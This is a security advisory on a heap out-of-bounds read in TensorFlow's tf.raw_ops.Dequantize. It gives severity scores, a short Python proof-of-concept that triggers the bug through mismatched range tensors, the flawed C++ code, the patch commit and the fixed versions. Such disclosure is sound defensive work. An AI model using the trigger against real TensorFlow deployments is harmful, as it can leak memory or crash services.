3.6 Low
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:N/A:P
7.1 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
0.0005 Low
EPSS
Percentile
17.8%
Due to lack of validation in tf.raw_ops.Dequantize
, an attacker can trigger a read from outside of bounds of heap allocated data:
import tensorflow as tf
input_tensor=tf.constant(
[75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
tf.raw_ops.Dequantize(
input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',
narrow_range=True, axis=0, dtype=tf.dtypes.float32)
The implementation accesses the min_range
and max_range
tensors in parallel but fails to check that they have the same shape:
if (num_slices == 1) {
const float min_range = input_min_tensor.flat<float>()(0);
const float max_range = input_max_tensor.flat<float>()(0);
DequantizeTensor(ctx, input, min_range, max_range, &float_output);
} else {
...
auto min_ranges = input_min_tensor.vec<float>();
auto max_ranges = input_max_tensor.vec<float>();
for (int i = 0; i < num_slices; ++i) {
DequantizeSlice(ctx->eigen_device<Device>(), ctx,
input_tensor.template chip<1>(i), min_ranges(i),
max_ranges(i), output_tensor.template chip<1>(i));
...
}
}
We have patched the issue in GitHub commit 5899741d0421391ca878da47907b1452f06aaf1b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
3.6 Low
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:N/A:P
7.1 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
0.0005 Low
EPSS
Percentile
17.8%